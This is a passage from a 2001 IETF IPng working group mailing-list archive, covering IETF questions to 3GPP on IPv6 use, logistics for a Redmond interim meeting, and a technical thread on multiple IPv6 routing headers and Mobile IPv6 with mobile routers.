link-layer encryption? > > Note that it is our understanding that in the current specs MN to > SGSN communication is protected by GSM privacy but there is nothing > specified between the SGSN and the GGSN. Will the tunnel between the > SGSN and the GGSN will be carried over the Internet? > > Finally, are there any plans to implement IKE? If not, how will > IPsec security associations be created? > > - Are there any requirements in the area of QOS? Are diffserv and/or > RSVP being looked at as something that is important? > > - What transition schemes will be used in communicating with IPv4 > sites? Some of the 3GPP documents make mention of NAT-PT as well as > automatic and configured tunnels. However, automatic tunnels only > make sense if address numbering is done in a certain way. It is not > clear that the use of automatical tunnels makes sense in the 3GPP > environment. Has there been any study of schemes, in addition to > NAT-PT, that allow IPv6-only and IPv4-only nodes to communicate? > > - Which IPv6 RFCs does 3GPP consider to be part of IPv6, in the sense > that they must be implemented as part of the 3GPP Release 5 > specification? Are all of these RFCs to be implented in their > entirety, or are only subsets of (some of) them needed? Is there any > intention to take parts of the IETF protocols and modify or extend > them? > > - Are there any plans or needs with regards to compression? For > example, the IETF has existing standards (e.g., RFC 2507) and > on-going efforts to compress IP traffic over link layers. Is it > anticipated that 3GPP will have needs here? > > - What DNS components will be used? For example, IPv6 addresses can > reside in either AAAA or A6 records. Will resolvers in handsets be > implementing A6 records? Or both AAAA & A6? > > Many of the above questions are somewhat open-ended and would probably > benefit from face-to-face discussion. It is our hope that this will > occur at the Seattle meeting and/or through e-mail followups. In > addition, we would welcome any questions you might have on IPv6 > issues. > > Overall, we would like to understand the overall 3GPP architecture and > how IPv6 fits into it. 3GPP documents are organized and structured > very differently from IETF documents, so for us it has been difficult > to understand where and how IPv6 is being used and whether its usage > will bring any unexpected surprises (e.g., are there any shortcomings > or missing components?). We believe a technical discussion between the > IETF and 3GPP communities on the topic of IPv6 would be mutually > beneficial to both communities. > > > From: "Stephen Hayes (EUS)" > To: deering@cisco.com, mikko.puuskari@nokia.com, narten@raleigh.ibm.com, > Erik.Nordmark@eng.sun.com, hinden@iprg.nokia.com > Cc: tech@ipv6forum.com > Date: Mon, 21 May 2001 09:27:09 -0500 > Subject: Additional info on May 30 IPnG/3GPP meeting > > Dear Colleagues, > > The 3GPP has been invited by the IETF IPng WG to a one day discussion > of how 3GPP will use IPv6. The meeting will be held on May 30, 2001 > at Redmond, WA. Please see > (http://research.microsoft.com/ietf-ipv6-meeting) for info about the > meeting. At the 3GPP SA2 meeting held on May 14-18 there was a > discussion of what should be presented by the 3GPP at the IPng > meeting. Hopefully this quick synopsis of those discussions will help > in preparation of the meetings. > > Based upon the discussions I would expect the following at the meeting > from the 3GPP side: > > 1. A presentation of the 3GPP architecture. This will include a > discussion of: > - the reference models > - 3GPP protocol stacks (involving IPv4/IPv6) > - 3GPP packet concepts (PDP context, APN, GTP) > - IP address allocation > > 2. A high level presentation on the 3GPP QoS architecture > > 3. Verbal answers to the questions posted previously( the list of > questions is attached at the end for convenience). The IETF may > find the answers unsatisfying as most of the answers are "it is an > implementation decision" (Questions 2,4,5,8,11) or "for further > study" (Questions 6,9,10). Some concrete answers are given below: > > - Q 1 - There is currently no capability defined to allocate a > subnetwork > - Q 3 - The main need is the address space > - Q 7 - Yes there are requirements - to be discussed in QoS > presentation > > Of course, these quick answers and the terms "implementation decision" > and "for further study" leave lots of degrees of freedom, so I would > not recommend waiting for the answers delivered by the 3GPP delegates > to get the full flavor of the answers. > > 4. Verbal guidelines for what 3GPP documents are relevant and how they > fit together. > > There will be several 3GPP experts at the meeting, so I would expect a > lively discussion. The presentations will be being refined this week > on the 3GPP SA2 mailing list. The latest copies of the presentations > should be available on the mailing list. > > Best regards, Stephen Hayes > 3GPP CN Chair > > -------------------------------------------------------------------- > IETF IPng Working Group Mailing List > IPng Home Page: http://playground.sun.com/ipng > FTP archive: ftp://playground.sun.com/pub/ipng > Direct all administrative requests to majordomo@sunroof.eng.sun.com > -------------------------------------------------------------------- > -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue May 29 11:42:26 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4+Sun/8.11.4) id f4TIfke08808 for ipng-dist; Tue, 29 May 2001 11:41:46 -0700 (PDT) Received: from stinker.eng.sun.com (stinker [129.146.86.121]) by sunroof.eng.sun.com (8.11.4+Sun/8.11.4) with ESMTP id f4TIfie08801 for ; Tue, 29 May 2001 11:41:44 -0700 (PDT) Received: (from jrh@localhost) by stinker.eng.sun.com (8.11.0+Sun/8.11.0) id f4TIc0101365 for ipng@sunroof.eng.sun.com; Tue, 29 May 2001 11:38:00 -0700 (PDT) Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.11.4.Beta1+Sun/8.11.4.Beta1) with ESMTP id f4PKGpe05054 for ; Fri, 25 May 2001 13:16:51 -0700 (PDT) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id NAA07187 for ; Fri, 25 May 2001 13:16:54 -0700 (PDT) Received: from mail2.microsoft.com (mail2.microsoft.com [131.107.3.124]) by saturn.sun.com (8.9.3+Sun/8.9.3) with SMTP id NAA29030 for ; Fri, 25 May 2001 13:16:54 -0700 (PDT) Received: from 157.54.9.100 by mail2.microsoft.com (InterScan E-Mail VirusWall NT); Fri, 25 May 2001 13:16:43 -0700 (Pacific Daylight Time) Received: from red-imc-01.redmond.corp.microsoft.com ([157.54.9.102]) by inet-imc-03.redmond.corp.microsoft.com with Microsoft SMTPSVC(5.0.2195.2883); Fri, 25 May 2001 13:16:02 -0700 Received: from win-imc-01.wingroup.windeploy.ntdev.microsoft.com ([157.54.0.39]) by red-imc-01.redmond.corp.microsoft.com with Microsoft SMTPSVC(5.0.2195.2883); Fri, 25 May 2001 13:15:58 -0700 Received: from win-msg-01.wingroup.windeploy.ntdev.microsoft.com ([157.54.0.52]) by win-imc-01.wingroup.windeploy.ntdev.microsoft.com with Microsoft SMTPSVC(5.0.2195.2966); Fri, 25 May 2001 13:15:23 -0700 X-MimeOLE: Produced By Microsoft Exchange V6.0.4712.0 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Subject: interoperability test at Interim meeting Date: Fri, 25 May 2001 13:15:23 -0700 Message-ID: <2E33960095B58E40A4D3345AB9F65EC1B57FDF@win-msg-01.wingroup.windeploy.ntdev.microsoft.com> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: interoperability test at Interim meeting Thread-Index: AcDkx/WLM83POQZCS82UKRrMYZs2sQAAIpUgACM/PeA= From: "Dave Thaler" To: X-OriginalArrivalTime: 25 May 2001 20:15:23.0436 (UTC) FILETIME=[6DDB06C0:01C0E557] Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by sunroof.eng.sun.com id f4PKGpe05055 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Several people have expressed interest in doing interop testing (and mobile IPv6 testing in particular) in conjuction with the interim meeting in Seattle (http://research.microsoft.com/ietf-ipv6-meeting/) The interim meetings next week only run until 17:00 each day. Thursday evening (May 31), the same meeting room will be available for interop testing. We plan to have tables set up, with a couple of mini-hubs. If you're interested in doing interop testing, please bring whatever else you will need. We will supply the space and the electricity. -Dave -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue May 29 12:02:18 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4+Sun/8.11.4) id f4TJ16J08940 for ipng-dist; Tue, 29 May 2001 12:01:06 -0700 (PDT) Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.11.4+Sun/8.11.4) with ESMTP id f4TJ0ue08932 for ; Tue, 29 May 2001 12:00:56 -0700 (PDT) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id MAA13564 for ; Tue, 29 May 2001 12:00:51 -0700 (PDT) Received: from mail4.microsoft.com (mail4.microsoft.com [131.107.3.122]) by patan.sun.com (8.9.3+Sun/8.9.3) with SMTP id NAA20114 for ; Tue, 29 May 2001 13:00:46 -0600 (MDT) Received: from 157.54.9.101 by mail4.microsoft.com (InterScan E-Mail VirusWall NT); Tue, 29 May 2001 12:00:27 -0700 (Pacific Daylight Time) Received: from red-msg-04.redmond.corp.microsoft.com ([157.54.12.74]) by inet-imc-01.redmond.corp.microsoft.com with Microsoft SMTPSVC(5.0.2195.2883); Tue, 29 May 2001 11:59:53 -0700 X-MimeOLE: Produced By Microsoft Exchange V6.0.4712.0 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Subject: Interim Meeting Parking Info/Directions Date: Tue, 29 May 2001 11:59:59 -0700 Message-ID: X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: Interim Meeting Parking Info/Directions Thread-Index: AcDocZXKguLMcMToQp2gBblUoWXKxw== From: "Brian Zill" To: , X-OriginalArrivalTime: 29 May 2001 18:59:53.0124 (UTC) FILETIME=[8B3B4640:01C0E871] Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by sunroof.eng.sun.com id f4TJ0ve08933 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk [a slightly more detailed version] The interim meeting is being held in the Adams meeting room, which is located in a separate "Meeting Rooms" annex attached to Building 43 on the Microsoft Campus. This facility is located just northwest of the intersection of 156th Avenue NE and NE 31st Street in Redmond, Washington. Note: this is *NOT* the Microsoft Research building which is on the other side of the freeway. If you're staying at the "Homestead Village", you're about a 10-15 minute walk away. Otherwise, you will probably want to drive (you could also walk form one of the three hotels on NE 29th Place, but that's about a 30-45 minute walk). We recommend that you park in the underground parking garage that lies beneath Buildings 42 and 43. The main entrance to the facility is off NE 31st street, turn right as you come in the entrance to take the ramp down into the garage. There is also an entrance into the garage reachable from the southbound lanes of 156th Ave; if you arrive via State Route 520 (the freeway), take the NE 40th street exit and turn right onto NE 40th, turn right again to go south on 156th Ave NE, this entrance will then be on your right just before you reach NE 31st street. While there are a limited number of visitor parking spaces in the above ground parking, we don't recommend that you use them. If you do use one, you must register your car with the receptionist in order to avoid having it towed. Instead, use any space in the garage that isn't reserved for handicapped or car-pool use. Parking is free. The garage is several levels deep, just continue down if you can't find an open spot on the first level. Once in the garage, you need to get back upstairs to the courtyard. There are stairs at the north end of the garage that lead directly to the courtyard outside the "Meeting Rooms". You do not need a card key to use these stairs. Alternatively, you can use one of the elevator banks marked "Visitor Elevator and Stairs" (the other elevator banks require a card key to access, so use the visitor ones). Take the elevator to the first floor of the building, then exit the building into the courtyard. Walk to the north end of the courtyard to find the "Meeting Rooms". There are signs in various places around the facility that direct you towards the "Meeting Rooms", when all else fails, follow those signs. --Brian P.S. For those interesting in doing a little ad-hoc interoperability testing, we're tentatively planning to hold a session on Thursday evening. So bring a laptop with something to test if you want. -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue May 29 12:43:32 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4+Sun/8.11.4) id f4TJepI09062 for ipng-dist; Tue, 29 May 2001 12:40:51 -0700 (PDT) Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.11.4+Sun/8.11.4) with ESMTP id f4TJeke09055 for ; Tue, 29 May 2001 12:40:47 -0700 (PDT) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id MAA18450 for ; Tue, 29 May 2001 12:40:32 -0700 (PDT) Received: from sj-msg-core-2.cisco.com (sj-msg-core-2.cisco.com [171.69.24.11]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id NAA21571 for ; Tue, 29 May 2001 13:40:31 -0600 (MDT) Received: from mira-sjcd-4.cisco.com (mira-sjcd-4.cisco.com [171.69.43.47]) by sj-msg-core-2.cisco.com (8.11.3/8.9.1) with ESMTP id f4TJeUU22340; Tue, 29 May 2001 12:40:30 -0700 (PDT) Received: from [171.70.84.51] (deering-office-pb.cisco.com [171.70.84.51]) by mira-sjcd-4.cisco.com (Mirapoint) with ESMTP id AAQ97473; Tue, 29 May 2001 12:40:18 -0700 (PDT) Mime-Version: 1.0 X-Sender: deering@mira-sjcd-4.cisco.com Message-Id: In-Reply-To: <001d01c0e3e7$fcbd7880$ae0a060a@n016.co.kr> References: <001d01c0e3e7$fcbd7880$ae0a060a@n016.co.kr> Date: Tue, 29 May 2001 12:40:26 -0700 To: "Jiwoong Lee" From: Steve Deering Subject: Re: [Q] Routing header Cc: Content-Type: text/plain; charset="us-ascii" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk At 9:25 AM +0900 5/24/01, Jiwoong Lee wrote: >1) Are there other kinds of routing header type defined in documents ? There was a draft proposal for another type of routing header at one time, but I don't think anyone is pushing it at the moment. >2) If any, Is it possible to include multiple routing headers at the same >time with different routing header type ? Yes, it is permitted for a single packet to carry multiple routing headers, either of the same type or different types, though I would expect that to happen very rarely, if ever. (In other words, an IPv6 node must be prepared to handle such a case properly, but need not optimize its performance.) Steve -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue May 29 12:55:16 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4+Sun/8.11.4) id f4TJqT909099 for ipng-dist; Tue, 29 May 2001 12:52:29 -0700 (PDT) Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.11.4+Sun/8.11.4) with ESMTP id f4TJqLe09092 for ; Tue, 29 May 2001 12:52:21 -0700 (PDT) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id MAA15619 for ; Tue, 29 May 2001 12:52:29 -0700 (PDT) Received: from sj-msg-core-3.cisco.com (sj-msg-core-3.cisco.com [171.70.157.152]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id MAA05250 for ; Tue, 29 May 2001 12:52:28 -0700 (PDT) Received: from mira-sjcd-4.cisco.com (mira-sjcd-4.cisco.com [171.69.43.47]) by sj-msg-core-3.cisco.com (8.11.3/8.9.1) with ESMTP id f4TJouc15514; Tue, 29 May 2001 12:50:57 -0700 (PDT) Received: from [171.70.84.51] (deering-office-pb.cisco.com [171.70.84.51]) by mira-sjcd-4.cisco.com (Mirapoint) with ESMTP id AAQ97720; Tue, 29 May 2001 12:52:10 -0700 (PDT) Mime-Version: 1.0 X-Sender: deering@mira-sjcd-4.cisco.com Message-Id: In-Reply-To: <009f01c0e4f2$c69a6680$ae0a060a@n016.co.kr> References: <001d01c0e3e7$fcbd7880$ae0a060a@n016.co.kr> <20010525065204O.kimai@flab.fujitsu.co.jp> <009f01c0e4f2$c69a6680$ae0a060a@n016.co.kr> Date: Tue, 29 May 2001 12:52:18 -0700 To: "Jiwoong Lee" From: Steve Deering Subject: Re: [Q] Routing header Cc: "IMAI Yuji" , Content-Type: text/plain; charset="us-ascii" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk At 5:14 PM +0900 5/25/01, Jiwoong Lee wrote: >What is missing (I think) in the spec is, description on possiblities of >plural routing headers with different types or the same types. The last paragraph of section 4.1 discusses the general issue of extension headers appearing more than once in the same packet. As far as I know, there is no reason for giving special consideration to multiple Routing headers, and the required left-to-right processing order for all extension headers makes the semantics of multiple Routing headers unambiguous, I believe. Steve -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue May 29 13:06:25 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4+Sun/8.11.4) id f4TK40T09142 for ipng-dist; Tue, 29 May 2001 13:04:00 -0700 (PDT) Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.11.4+Sun/8.11.4) with ESMTP id f4TK3te09135 for ; Tue, 29 May 2001 13:03:56 -0700 (PDT) Received: from venus.Sun.COM (venus.EBay.Sun.COM [129.150.69.5]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id NAA18589 for ; Tue, 29 May 2001 13:04:03 -0700 (PDT) Received: from sj-msg-core-2.cisco.com (sj-msg-core-2.cisco.com [171.69.24.11]) by venus.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id NAA14599 for ; Tue, 29 May 2001 13:04:02 -0700 (PDT) Received: from mira-sjc5-7.cisco.com (mira-sjc5-7.cisco.com [171.71.163.27]) by sj-msg-core-2.cisco.com (8.11.3/8.9.1) with ESMTP id f4TK3kU13203; Tue, 29 May 2001 13:03:55 -0700 (PDT) Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [128.107.140.53]) by mira-sjc5-7.cisco.com (Mirapoint) with ESMTP id AHF03304; Tue, 29 May 2001 13:03:44 -0700 (PDT) Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id NAA07577; Tue, 29 May 2001 13:03:44 -0700 (PDT) From: Michael Thomas MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15124.160.67957.34034@thomasm-u1.cisco.com> Date: Tue, 29 May 2001 13:03:44 -0700 (PDT) To: Steve Deering Cc: "Jiwoong Lee" , "IMAI Yuji" , Subject: Re: [Q] Routing header In-Reply-To: References: <001d01c0e3e7$fcbd7880$ae0a060a@n016.co.kr> <20010525065204O.kimai@flab.fujitsu.co.jp> <009f01c0e4f2$c69a6680$ae0a060a@n016.co.kr> X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4mu!4x[/Z4t{V}~L]+Sk @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd bUcI'1! Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Steve Deering writes: > At 5:14 PM +0900 5/25/01, Jiwoong Lee wrote: > >What is missing (I think) in the spec is, description on possiblities of > >plural routing headers with different types or the same types. > > The last paragraph of section 4.1 discusses the general issue of > extension headers appearing more than once in the same packet. > As far as I know, there is no reason for giving special consideration > to multiple Routing headers, and the required left-to-right processing > order for all extension headers makes the semantics of multiple Routing > headers unambiguous, I believe. Where there is ambiguity, however, is in the host's construction of the routing header. Consider the situation where you have a mobile host behind a mobile router, each of which send binding updates to a correspondent node. How does the correspondent node know which order to put the routing headers in? Mike -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue May 29 13:33:15 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4+Sun/8.11.4) id f4TKVkc09260 for ipng-dist; Tue, 29 May 2001 13:31:46 -0700 (PDT) Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.11.4+Sun/8.11.4) with ESMTP id f4TKVge09253 for ; Tue, 29 May 2001 13:31:42 -0700 (PDT) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id NAA26884 for ; Tue, 29 May 2001 13:31:27 -0700 (PDT) Received: from sj-msg-core-4.cisco.com (sj-msg-core-4.cisco.com [171.71.163.10]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id NAA24493 for ; Tue, 29 May 2001 13:31:26 -0700 (PDT) Received: from mira-sjcd-4.cisco.com (mira-sjcd-4.cisco.com [171.69.43.47]) by sj-msg-core-4.cisco.com (8.11.3/8.9.1) with ESMTP id f4TKVTU15383; Tue, 29 May 2001 13:31:32 -0700 (PDT) Received: from [171.70.84.51] (deering-office-pb.cisco.com [171.70.84.51]) by mira-sjcd-4.cisco.com (Mirapoint) with ESMTP id AAQ98690; Tue, 29 May 2001 13:31:22 -0700 (PDT) Mime-Version: 1.0 X-Sender: deering@mira-sjcd-4.cisco.com Message-Id: In-Reply-To: <15124.160.67957.34034@thomasm-u1.cisco.com> References: <001d01c0e3e7$fcbd7880$ae0a060a@n016.co.kr> <20010525065204O.kimai@flab.fujitsu.co.jp> <009f01c0e4f2$c69a6680$ae0a060a@n016.co.kr> <15124.160.67957.34034@thomasm-u1.cisco.com> Date: Tue, 29 May 2001 13:31:30 -0700 To: Michael Thomas From: Steve Deering Subject: Re: [Q] Routing header Cc: "Jiwoong Lee" , "IMAI Yuji" , Content-Type: text/plain; charset="us-ascii" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk At 1:03 PM -0700 5/29/01, Michael Thomas wrote: > Where there is ambiguity, however, is in the host's construction > of the routing header. Consider the situation where you have a > mobile host behind a mobile router, each of which send binding > updates to a correspondent node. How does the correspondent > node know which order to put the routing headers in? Mike, You'll have to spend more time educating me on the details of the scenario you have in mind. I would hope and expect that some encapsulation/decapsulation is going on at the mobile router, in which case you might have one routing header as part of the inner (encapsulated) packet, and one routing header as part of the outer (encapsulating) packet, which is a different case than having multiple routing headers in a single extension-header chain. I was assuming the question applied to the latter case, though the semantics of encapsulation case is also obvious. How you decide when to include a routing header and what to put in it are questions largely unanswered by the IPv6 specs (as is the case with source routes in IPv4). We just provide the primitive; it's up to others to write the programs to use it. I guess Mobile IPv6 has done that for one case (though I *really* wish they had specified the use of encapsulation instead of extension-header- insertion; that would have eliminated *much* ambiguity and confusion). In the absence of such specs, the Routing header contents will just continue to be provided manually, as in source-routed pings and traceroutes. Steve -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue May 29 14:12:44 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4+Sun/8.11.4) id f4TLBoq09395 for ipng-dist; Tue, 29 May 2001 14:11:50 -0700 (PDT) Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.11.4+Sun/8.11.4) with ESMTP id f4TLBke09387 for ; Tue, 29 May 2001 14:11:46 -0700 (PDT) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id OAA11836 for ; Tue, 29 May 2001 14:11:50 -0700 (PDT) Received: from sj-msg-core-1.cisco.com (sj-msg-core-1.cisco.com [171.71.163.11]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id OAA15103 for ; Tue, 29 May 2001 14:11:50 -0700 (PDT) Received: from mira-sjc5-7.cisco.com (mira-sjc5-7.cisco.com [171.71.163.27]) by sj-msg-core-1.cisco.com (8.11.3/8.9.1) with ESMTP id f4TLBn913027; Tue, 29 May 2001 14:11:49 -0700 (PDT) Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [128.107.140.53]) by mira-sjc5-7.cisco.com (Mirapoint) with ESMTP id AHF05551; Tue, 29 May 2001 14:11:48 -0700 (PDT) Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id OAA07587; Tue, 29 May 2001 14:11:47 -0700 (PDT) From: Michael Thomas MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15124.4243.705476.836130@thomasm-u1.cisco.com> Date: Tue, 29 May 2001 14:11:47 -0700 (PDT) To: Steve Deering Cc: Michael Thomas , "Jiwoong Lee" , "IMAI Yuji" , Subject: Re: [Q] Routing header In-Reply-To: References: <001d01c0e3e7$fcbd7880$ae0a060a@n016.co.kr> <20010525065204O.kimai@flab.fujitsu.co.jp> <009f01c0e4f2$c69a6680$ae0a060a@n016.co.kr> <15124.160.67957.34034@thomasm-u1.cisco.com> X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4mu!4x[/Z4t{V}~L]+Sk @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd bUcI'1! Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Steve Deering writes: > At 1:03 PM -0700 5/29/01, Michael Thomas wrote: > > Where there is ambiguity, however, is in the host's construction > > of the routing header. Consider the situation where you have a > > mobile host behind a mobile router, each of which send binding > > updates to a correspondent node. How does the correspondent > > node know which order to put the routing headers in? > > Mike, > > You'll have to spend more time educating me on the details of the > scenario you have in mind. I would hope and expect that some > encapsulation/decapsulation is going on at the mobile router, > in which case you might have one routing header as part of the > inner (encapsulated) packet, and one routing header as part of > the outer (encapsulating) packet, I don't think there are any answers for this at within mipv6. > which is a different case than > having multiple routing headers in a single extension-header > chain. I was assuming the question applied to the latter case, > though the semantics of encapsulation case is also obvious. This is mostly a mipv6 issue, but suppose you have: MN------->MR------------------------>CN When the mobile node moves, it sends a BU to the CN. When the mobile router moves, it too sends a BU to the CN. The CN now has a binding entry for both the mobile node and the mobile router in its cache. Now if this is going to work at all (which I think is the $64 "if") CN would need to construct a packet like: IP: dst=CoA(mr); RH: dst=CoA(mn); RH: dst=Home(mn); to prevent the packet from going through the home agent of either the MN or MR. Yet, MN and MR might know nothing about each other (the general case, I'd think) and CN doesn't have any clue about the far end topology either. It just has two binding entries in its binding cache with no way to correlate them, let alone set the proper ordering. > In the absence of such specs, the Routing header contents will just > continue to be provided manually, as in source-routed pings and > traceroutes. Yes, I should make it clear that this isn't a ipng ambiguity. Mike -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue May 29 14:26:50 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4+Sun/8.11.4) id f4TLQAn09432 for ipng-dist; Tue, 29 May 2001 14:26:10 -0700 (PDT) Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.11.4+Sun/8.11.4) with ESMTP id f4TLQ6e09425 for ; Tue, 29 May 2001 14:26:07 -0700 (PDT) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id OAA12147 for ; Tue, 29 May 2001 14:26:15 -0700 (PDT) Received: from sj-msg-core-2.cisco.com (sj-msg-core-2.cisco.com [171.69.24.11]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id PAA22560 for ; Tue, 29 May 2001 15:26:13 -0600 (MDT) Received: from mira-sjcd-4.cisco.com (mira-sjcd-4.cisco.com [171.69.43.47]) by sj-msg-core-2.cisco.com (8.11.3/8.9.1) with ESMTP id f4TLQFU04055; Tue, 29 May 2001 14:26:15 -0700 (PDT) Received: from [171.70.84.51] (deering-office-pb.cisco.com [171.70.84.51]) by mira-sjcd-4.cisco.com (Mirapoint) with ESMTP id AAR00157; Tue, 29 May 2001 14:26:13 -0700 (PDT) Mime-Version: 1.0 X-Sender: deering@mira-sjcd-4.cisco.com Message-Id: In-Reply-To: <15124.4243.705476.836130@thomasm-u1.cisco.com> References: <001d01c0e3e7$fcbd7880$ae0a060a@n016.co.kr> <20010525065204O.kimai@flab.fujitsu.co.jp> <009f01c0e4f2$c69a6680$ae0a060a@n016.co.kr> <15124.160.67957.34034@thomasm-u1.cisco.com> <15124.4243.705476.836130@thomasm-u1.cisco.com> Date: Tue, 29 May 2001 14:26:21 -0700 To: Michael Thomas From: Steve Deering Subject: Re: [Q] Routing header Cc: Michael Thomas , "Jiwoong Lee" , "IMAI Yuji" , Content-Type: text/plain; charset="us-ascii" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk At 2:11 PM -0700 5/29/01, Michael Thomas wrote: > I don't think there are any answers for this at > within mipv6. Last time I looked, the Mobile IPv6 spec dealt with mobile hosts only, not mobile routers. If that's still true, it's unsurprising that it doesn't handle your scenario -- that would be the responsibility of a (future) Mobile IPv6 Router spec. > This is mostly a mipv6 issue, but suppose you have: > > 